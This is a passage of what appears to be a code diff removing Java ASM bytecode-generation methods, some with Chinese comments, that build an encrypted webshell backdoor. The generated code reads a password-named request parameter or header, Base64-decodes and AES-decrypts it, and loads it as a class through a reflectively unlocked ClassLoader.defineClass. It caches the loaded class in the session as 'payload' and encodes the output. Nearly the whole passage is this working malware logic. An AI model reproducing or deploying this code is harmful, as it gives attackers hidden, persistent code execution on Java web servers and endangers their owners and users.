mv.visitLabel(ifNullLabel); - - // End of try block - mv.visitLabel(tryEnd); - - // Skip catch block if we didn't enter it - Label afterCatch = new Label(); - mv.visitJumpInsn(Opcodes.GOTO, afterCatch); - - // Start of catch block - mv.visitLabel(catchHandler); - // The exception is now on the stack - mv.visitVarInsn(Opcodes.ASTORE, outerExceptionIndex); // Store exception in local var 10 and discard it - mv.visitVarInsn(Opcodes.ALOAD, outerExceptionIndex); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Exception", "printStackTrace", "()V", false); - // End of catch block - mv.visitLabel(afterCatch); - } - - private void tryEncodeBase64(int base64ClassIndex, int encoderClassIndex, int encryptBytesIndex, int resultIndex, int base64EncodeExceptionIndex) { - // Encoding encrypted bytes with Base64 - // Try first with java.util.Base64 - Label base64EncodeTrialStart = new Label(); - Label base64EncodeCatch = new Label(); - Label afterBase64Encode = new Label(); - - mv.visitTryCatchBlock(base64EncodeTrialStart, afterBase64Encode, base64EncodeCatch, "java/lang/Throwable"); - - mv.visitLabel(base64EncodeTrialStart); - - // base64 = Class.forName("java.util.Base64"); - mv.visitLdcInsn("java.util.Base64"); - mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Class", "forName", - "(Ljava/lang/String;)Ljava/lang/Class;", - false); - mv.visitVarInsn(Opcodes.ASTORE, base64ClassIndex); // Store base64 class in local var 29 - - // Object encoder = base64.getMethod("getEncoder").invoke(base64); - mv.visitVarInsn(Opcodes.ALOAD, base64ClassIndex); // Load base64 class - mv.visitLdcInsn("getEncoder"); - mv.visitInsn(Opcodes.ICONST_0); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class"); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod", - "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false); - mv.visitVarInsn(Opcodes.ALOAD, base64ClassIndex); // Load base64 class - mv.visitInsn(Opcodes.ICONST_0); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object"); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", - "invoke", - "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false); - mv.visitVarInsn(Opcodes.ASTORE, encoderClassIndex); // Store encoder in local var 30 - - // result = (String) encoder.getClass().getMethod("encodeToString", - // byte[].class).invoke(encoder, encryptBytes); - mv.visitVarInsn(Opcodes.ALOAD, encoderClassIndex); // Load encoder - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass", - "()Ljava/lang/Class;", false); - mv.visitLdcInsn("encodeToString"); - mv.visitInsn(Opcodes.ICONST_1); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class"); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_0); - mv.visitLdcInsn(Type.getType("[B")); - mv.visitInsn(Opcodes.AASTORE); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod", - "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false); - mv.visitVarInsn(Opcodes.ALOAD, encoderClassIndex); // Load encoder - mv.visitInsn(Opcodes.ICONST_1); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object"); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_0); - mv.visitVarInsn(Opcodes.ALOAD, encryptBytesIndex); // Load encryptBytes - mv.visitInsn(Opcodes.AASTORE); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", - "invoke", - "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false); - mv.visitTypeInsn(Opcodes.CHECKCAST, "java/lang/String"); - mv.visitVarInsn(Opcodes.ASTORE, resultIndex); // Store result in local var 31 - - mv.visitJumpInsn(Opcodes.GOTO, afterBase64Encode); - - // Fallback to sun.misc.BASE64Encoder - mv.visitLabel(base64EncodeCatch); - mv.visitVarInsn(Opcodes.ASTORE, base64EncodeExceptionIndex); // Store exception in local var 32 - - // base64 = Class.forName("sun.misc.BASE64Encoder"); - mv.visitLdcInsn("sun.misc.BASE64Encoder"); - mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Class", "forName", - "(Ljava/lang/String;)Ljava/lang/Class;", - false); - mv.visitVarInsn(Opcodes.ASTORE, base64ClassIndex); // Store base64 class in local var 29 - - // Object encoder = base64.newInstance(); - mv.visitVarInsn(Opcodes.ALOAD, base64ClassIndex); // Load base64 class - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "newInstance", - "()Ljava/lang/Object;", false); - mv.visitVarInsn(Opcodes.ASTORE, encoderClassIndex); // Store encoder in local var 30 - - // result = (String) encoder.getClass().getMethod("encode", - // byte[].class).invoke(encoder, encryptBytes); - mv.visitVarInsn(Opcodes.ALOAD, encoderClassIndex); // Load encoder - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass", - "()Ljava/lang/Class;", false); - mv.visitLdcInsn("encode"); - mv.visitInsn(Opcodes.ICONST_1); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class"); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_0); - mv.visitLdcInsn(Type.getType("[B")); - mv.visitInsn(Opcodes.AASTORE); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod", - "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false); - mv.visitVarInsn(Opcodes.ALOAD, encoderClassIndex); // Load encoder - mv.visitInsn(Opcodes.ICONST_1); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object"); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_0); - mv.visitVarInsn(Opcodes.ALOAD, encryptBytesIndex); // Load encryptBytes - mv.visitInsn(Opcodes.AASTORE); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", - "invoke", - "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false); - mv.visitTypeInsn(Opcodes.CHECKCAST, "java/lang/String"); - mv.visitVarInsn(Opcodes.ASTORE, resultIndex); // Store result in local var 31 - - mv.visitLabel(afterBase64Encode); - } - - private void defineClassWhenFirstInvoke(int defineClassIndex, int dataIndex, int payloadClassIndex, int sessionIndex) { - // Define class from bytes - // Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", - // byte[].class, int.class, int.class); - mv.visitLdcInsn(Type.getType("Ljava/lang/ClassLoader;")); - mv.visitLdcInsn("defineClass"); - mv.visitInsn(Opcodes.ICONST_3); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class"); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_0); - mv.visitLdcInsn(Type.getType("[B")); - mv.visitInsn(Opcodes.AASTORE); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_1); - mv.visitFieldInsn(Opcodes.GETSTATIC, "java/lang/Integer", "TYPE", - "Ljava/lang/Class;"); - mv.visitInsn(Opcodes.AASTORE); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_2); - mv.visitFieldInsn(Opcodes.GETSTATIC, "java/lang/Integer", "TYPE", - "Ljava/lang/Class;"); - mv.visitInsn(Opcodes.AASTORE); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", - "getDeclaredMethod", - "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false); - mv.visitVarInsn(Opcodes.ASTORE, defineClassIndex); // Store defineClass in local var 23 - - // defineClass.setAccessible(true); - mv.visitVarInsn(Opcodes.ALOAD, defineClassIndex); // Load defineClass - mv.visitInsn(Opcodes.ICONST_1); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", - "setAccessible", "(Z)V", false); - - // Class payload = (Class) - // defineClass.invoke(Thread.currentThread().getContextClassLoader(), - // data, 0, data.length); - mv.visitVarInsn(Opcodes.ALOAD, defineClassIndex); // Load defineClass - mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Thread", "currentThread", - "()Ljava/lang/Thread;", false); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Thread", - "getContextClassLoader", - "()Ljava/lang/ClassLoader;", false); - mv.visitInsn(Opcodes.ICONST_3); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object"); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_0); - mv.visitVarInsn(Opcodes.ALOAD, dataIndex); // Load data - mv.visitInsn(Opcodes.AASTORE); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_1); - mv.visitInsn(Opcodes.ICONST_0); - mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Integer", "valueOf", - "(I)Ljava/lang/Integer;", false); - mv.visitInsn(Opcodes.AASTORE); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_2); - mv.visitVarInsn(Opcodes.ALOAD, dataIndex); // Load data - mv.visitInsn(Opcodes.ARRAYLENGTH); - mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Integer", "valueOf", - "(I)Ljava/lang/Integer;", false); - mv.visitInsn(Opcodes.AASTORE); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", - "invoke", - "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false); - mv.visitVarInsn(Opcodes.ASTORE, payloadClassIndex); // Store payload class in local var 24 - - // session.getClass().getMethod("setAttribute", String.class, Object.class) - // .invoke(session, "payload", payload); - mv.visitVarInsn(Opcodes.ALOAD, sessionIndex); // Load session - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass", - "()Ljava/lang/Class;", false); - mv.visitLdcInsn("setAttribute"); - mv.visitInsn(Opcodes.ICONST_2); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class"); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_0); - mv.visitLdcInsn(Type.getType("Ljava/lang/String;")); - mv.visitInsn(Opcodes.AASTORE); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_1); - mv.visitLdcInsn(Type.getType("Ljava/lang/Object;")); - mv.visitInsn(Opcodes.AASTORE); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod", - "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false); - mv.visitVarInsn(Opcodes.ALOAD, sessionIndex); // Load session - mv.visitInsn(Opcodes.ICONST_2); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object"); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_0); - mv.visitLdcInsn("payload"); - mv.visitInsn(Opcodes.AASTORE); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_1); - mv.visitVarInsn(Opcodes.ALOAD, payloadClassIndex); // Load payload class - mv.visitInsn(Opcodes.AASTORE); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", - "invoke", - "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false); - mv.visitInsn(Opcodes.POP); - - // If first-time class loading - return true - mv.visitInsn(Opcodes.RETURN); - } - - private void getSessionPayload(int requestIndex, int sessionIndex, int sessionPayloadIndex) { - // Get session - // Object session = - // request.getClass().getMethod("getSession").invoke(request); - mv.visitVarInsn(Opcodes.ALOAD, requestIndex); // Load request - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass", - "()Ljava/lang/Class;", false); - mv.visitLdcInsn("getSession"); - mv.visitInsn(Opcodes.ICONST_0); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class"); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod", - "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false); - mv.visitVarInsn(Opcodes.ALOAD, requestIndex); // Load request - mv.visitInsn(Opcodes.ICONST_0); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object"); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", - "invoke", - "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false); - mv.visitVarInsn(Opcodes.ASTORE, sessionIndex); // Store session in local var 21 - - // Get sessionPayload - // Object sessionPayload = session.getClass().getMethod("getAttribute", - // String.class) - // .invoke(session, "payload"); - mv.visitVarInsn(Opcodes.ALOAD, sessionIndex); // Load session - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass", - "()Ljava/lang/Class;", false); - mv.visitLdcInsn("getAttribute"); - mv.visitInsn(Opcodes.ICONST_1); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class"); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_0); - mv.visitLdcInsn(Type.getType("Ljava/lang/String;")); - mv.visitInsn(Opcodes.AASTORE); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod", - "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false); - mv.visitVarInsn(Opcodes.ALOAD, sessionIndex); // Load session - mv.visitInsn(Opcodes.ICONST_1); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object"); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_0); - mv.visitLdcInsn("payload"); - mv.visitInsn(Opcodes.AASTORE); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", - "invoke", - "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false); - mv.visitVarInsn(Opcodes.ASTORE, sessionPayloadIndex); // Store sessionPayload in local var 22 - } - - private void decryptData(int cipherClassIndex, int secretKeySpecClassIndex, int keyClassIndex, int cipherInitMethodIndex, int doFinalMethodIndex, int cipherIndex, int keyIndex, int secretKeySpecIndex, int dataIndex) { - // Load crypto classes - // Class cipherClass = Class.forName("javax.crypto.Cipher"... - mv.visitLdcInsn("javax.crypto.Cipher"); - mv.visitInsn(Opcodes.ICONST_1); - mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Thread", "currentThread", "()Ljava/lang/Thread;", false); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Thread", "getContextClassLoader", - "()Ljava/lang/ClassLoader;", false); - mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Class", "forName", - "(Ljava/lang/String;ZLjava/lang/ClassLoader;)Ljava/lang/Class;", false); - mv.visitVarInsn(Opcodes.ASTORE, cipherClassIndex); // Store cipherClass in local var 14 - - // Class secretKeySpecClass = - // Class.forName("javax.crypto.spec.SecretKeySpec"... - mv.visitLdcInsn("javax.crypto.spec.SecretKeySpec"); - mv.visitInsn(Opcodes.ICONST_1); - mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Thread", "currentThread", "()Ljava/lang/Thread;", false); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Thread", "getContextClassLoader", - "()Ljava/lang/ClassLoader;", false); - mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Class", "forName", - "(Ljava/lang/String;ZLjava/lang/ClassLoader;)Ljava/lang/Class;", false); - mv.visitVarInsn(Opcodes.ASTORE, secretKeySpecClassIndex); // Store secretKeySpecClass in local var 15 - - // Class keyClass = Class.forName("java.security.Key"... - mv.visitLdcInsn("java.security.Key"); - mv.visitInsn(Opcodes.ICONST_1); - mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Thread", "currentThread", "()Ljava/lang/Thread;", false); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Thread", "getContextClassLoader", - "()Ljava/lang/ClassLoader;", false); - mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Class", "forName", - "(Ljava/lang/String;ZLjava/lang/ClassLoader;)Ljava/lang/Class;", false); - mv.visitVarInsn(Opcodes.ASTORE, keyClassIndex); // Store keyClass in local var 16 - - // Get cipher methods - // Method cipherInitMethod = cipherClass.getMethod("init", int.class, keyClass); - mv.visitVarInsn(Opcodes.ALOAD, cipherClassIndex); // Load cipherClass - mv.visitLdcInsn("init"); - mv.visitInsn(Opcodes.ICONST_2); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class"); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_0); - mv.visitFieldInsn(Opcodes.GETSTATIC, "java/lang/Integer", "TYPE", "Ljava/lang/Class;"); - mv.visitInsn(Opcodes.AASTORE); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_1); - mv.visitVarInsn(Opcodes.ALOAD, keyClassIndex); // Load keyClass - mv.visitInsn(Opcodes.AASTORE); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod", - "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false); - mv.visitVarInsn(Opcodes.ASTORE, cipherInitMethodIndex); // Store cipherInitMethod in local var 17 - - // Method doFinalMethod = cipherClass.getMethod("doFinal", byte[].class); - mv.visitVarInsn(Opcodes.ALOAD, cipherClassIndex); // Load cipherClass - mv.visitLdcInsn("doFinal"); - mv.visitInsn(Opcodes.ICONST_1); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class"); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_0); - mv.visitLdcInsn(Type.getType("[B")); - mv.visitInsn(Opcodes.AASTORE); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod", - "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false); - mv.visitVarInsn(Opcodes.ASTORE, doFinalMethodIndex); // Store doFinalMethod in local var 18 - - // Create cipher and secret key - // Object cipher = cipherClass.getMethod("getInstance", - // String.class).invoke(cipherClass, "AES"); - mv.visitVarInsn(Opcodes.ALOAD, cipherClassIndex); // Load cipherClass - mv.visitLdcInsn("getInstance"); - mv.visitInsn(Opcodes.ICONST_1); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class"); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_0); - mv.visitLdcInsn(Type.getType("Ljava/lang/String;")); - mv.visitInsn(Opcodes.AASTORE); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod", - "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false); - mv.visitVarInsn(Opcodes.ALOAD, cipherClassIndex); // Load cipherClass - mv.visitInsn(Opcodes.ICONST_1); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object"); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_0); - mv.visitLdcInsn("AES"); - mv.visitInsn(Opcodes.AASTORE); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke", - "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false); - mv.visitVarInsn(Opcodes.ASTORE, cipherIndex); // Store cipher in local var 19 - - // Object secretKeySpec = secretKeySpecClass.getConstructor(byte[].class, - // String.class) - // .newInstance(key.getBytes(), "AES"); - mv.visitVarInsn(Opcodes.ALOAD, secretKeySpecClassIndex); // 加载 secretKeySpecClass - mv.visitInsn(Opcodes.ICONST_2); // 构造函数参数数量为 2 - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class"); // 创建 Class[] 数组 - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_0); // 数组索引 0 - mv.visitLdcInsn(Type.getType("[B")); // byte[].class - mv.visitInsn(Opcodes.AASTORE); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_1); // 数组索引 1 - mv.visitLdcInsn(Type.getType("Ljava/lang/String;")); // String.class - mv.visitInsn(Opcodes.AASTORE); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getConstructor", - "([Ljava/lang/Class;)Ljava/lang/reflect/Constructor;", false); - - // 准备构造函数参数 - mv.visitInsn(Opcodes.ICONST_2); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object"); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_0); // 数组索引 0 - - // 调用 key.getBytes() - mv.visitVarInsn(Opcodes.ALOAD, keyIndex); // 加载 key - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/String", "getBytes", "()[B", false); - mv.visitInsn(Opcodes.AASTORE); // 存储 byte[] 到参数数组 - - // 存储第二个参数 "AES" - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_1); // 数组索引 1 - mv.visitLdcInsn("AES"); // 加载字符串 "AES" - mv.visitInsn(Opcodes.AASTORE); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Constructor", "newInstance", - "([Ljava/lang/Object;)Ljava/lang/Object;", false); - mv.visitVarInsn(Opcodes.ASTORE, secretKeySpecIndex); // Store secretKeySpec in local var 20 - - - // Initialize cipher for decryption - // cipherInitMethod.invoke(cipher, 2, secretKeySpec); - mv.visitVarInsn(Opcodes.ALOAD, cipherInitMethodIndex); // Load - // cipherInitMethod - mv.visitVarInsn(Opcodes.ALOAD, cipherIndex); // Load cipher - mv.visitInsn(Opcodes.ICONST_2); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object"); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_0); - mv.visitInsn(Opcodes.ICONST_2); // Constant 2 for Cipher.DECRYPT_MODE - mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Integer", "valueOf", - "(I)Ljava/lang/Integer;", false); - mv.visitInsn(Opcodes.AASTORE); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_1); - mv.visitVarInsn(Opcodes.ALOAD, secretKeySpecIndex); // Load secretKeySpec - mv.visitInsn(Opcodes.AASTORE); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", - "invoke", - "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false); - mv.visitInsn(Opcodes.POP); - - // Decrypt data - // data = (byte[]) doFinalMethod.invoke(cipher, data); - mv.visitVarInsn(Opcodes.ALOAD, doFinalMethodIndex); // Load doFinalMethod - mv.visitVarInsn(Opcodes.ALOAD, cipherIndex); // Load cipher - mv.visitInsn(Opcodes.ICONST_1); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object"); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_0); - mv.visitVarInsn(Opcodes.ALOAD, dataIndex); // Load data - mv.visitInsn(Opcodes.AASTORE); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", - "invoke", - "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false); - mv.visitTypeInsn(Opcodes.CHECKCAST, "[B"); - mv.visitVarInsn(Opcodes.ASTORE, dataIndex); // Store updated data in local var 10 - } - - private void getParameterValue(int requestIndex, int passIndex, int curParameterIndex) { - // String parameter = (String) request.getClass().getMethod("getParameter", - // String.class).invoke(request, pass); - mv.visitVarInsn(Opcodes.ALOAD, requestIndex); // Load request - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass", "()Ljava/lang/Class;", false); - mv.visitLdcInsn("getParameter"); - mv.visitInsn(Opcodes.ICONST_1); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class"); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_0); - mv.visitLdcInsn(Type.getType("Ljava/lang/String;")); - mv.visitInsn(Opcodes.AASTORE); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod", - "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false); - - // Invoke getParameter - mv.visitVarInsn(Opcodes.ALOAD, requestIndex); // Load request - mv.visitInsn(Opcodes.ICONST_1); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object"); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_0); - mv.visitVarInsn(Opcodes.ALOAD, passIndex); // Load pass - mv.visitInsn(Opcodes.AASTORE); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke", - "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false); - mv.visitTypeInsn(Opcodes.CHECKCAST, "java/lang/String"); - mv.visitVarInsn(Opcodes.ASTORE, curParameterIndex); // Store parameter in local var 9 - } - - private void getHeaderValue(int requestIndex, int headerNameIndex, int curHeaderIndex) { - // String value = (String) request.getClass().getMethod("getHeader", - // String.class).invoke(request, headerName); - mv.visitVarInsn(Opcodes.ALOAD, requestIndex); // Load request (first param) - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass", "()Ljava/lang/Class;", false); - mv.visitLdcInsn("getHeader"); - mv.visitInsn(Opcodes.ICONST_1); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class"); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_0); - mv.visitLdcInsn(Type.getType("Ljava/lang/String;")); - mv.visitInsn(Opcodes.AASTORE); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod", - "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false); - - // Invoke getHeader - mv.visitVarInsn(Opcodes.ALOAD, requestIndex); // Load request - mv.visitInsn(Opcodes.ICONST_1); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object"); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_0); - mv.visitVarInsn(Opcodes.ALOAD, headerNameIndex); // Load headerName - mv.visitInsn(Opcodes.AASTORE); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke", - "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false); - mv.visitTypeInsn(Opcodes.CHECKCAST, "java/lang/String"); - mv.visitVarInsn(Opcodes.ASTORE, curHeaderIndex); // Store value in local var 8 - } - - private void tryDecodeBase64(int base64ClassIndex, int decoderClassIndex, int curParameterIndex, int dataIndex, - int base64ExceptionIndex) { - // Try to use java.util.Base64 decoder first - Label base64DecodeTrialStart = new Label(); - Label base64DecodeCatch = new Label(); - Label afterBase64Decode = new Label(); - - mv.visitTryCatchBlock(base64DecodeTrialStart, base64DecodeCatch, base64DecodeCatch, "java/lang/Throwable"); - - mv.visitLabel(base64DecodeTrialStart); - - // Class clazz = Class.forName("java.util.Base64", true, - // Thread.currentThread().getContextClassLoader()); - mv.visitLdcInsn("java.util.Base64"); - mv.visitInsn(Opcodes.ICONST_1); - mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Thread", "currentThread", "()Ljava/lang/Thread;", false); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Thread", "getContextClassLoader", - "()Ljava/lang/ClassLoader;", false); - mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Class", "forName", - "(Ljava/lang/String;ZLjava/lang/ClassLoader;)Ljava/lang/Class;", false); - mv.visitVarInsn(Opcodes.ASTORE, base64ClassIndex); // Store Base64 class in local var 11 - - // Object object = clazz.getMethod("getDecoder", new Class[0]).invoke(clazz, - // null); - mv.visitVarInsn(Opcodes.ALOAD, base64ClassIndex); // Load Base64 class - mv.visitLdcInsn("getDecoder"); - mv.visitInsn(Opcodes.ICONST_0); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class"); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod", - "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false); - mv.visitVarInsn(Opcodes.ALOAD, base64ClassIndex); // Load Base64 class as the target - mv.visitInsn(Opcodes.ICONST_0); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object"); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke", - "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false); - mv.visitVarInsn(Opcodes.ASTORE, decoderClassIndex); // Store decoder object in local var 12 - - // byArray = (byte[])object.getClass().getMethod("decode", - // String.class).invoke(object, string7); - mv.visitVarInsn(Opcodes.ALOAD, decoderClassIndex); // Load decoder object - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass", "()Ljava/lang/Class;", false); - mv.visitLdcInsn("decode"); - mv.visitInsn(Opcodes.ICONST_1); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class"); - mv.visitInsn(Opcodes.DUP); - 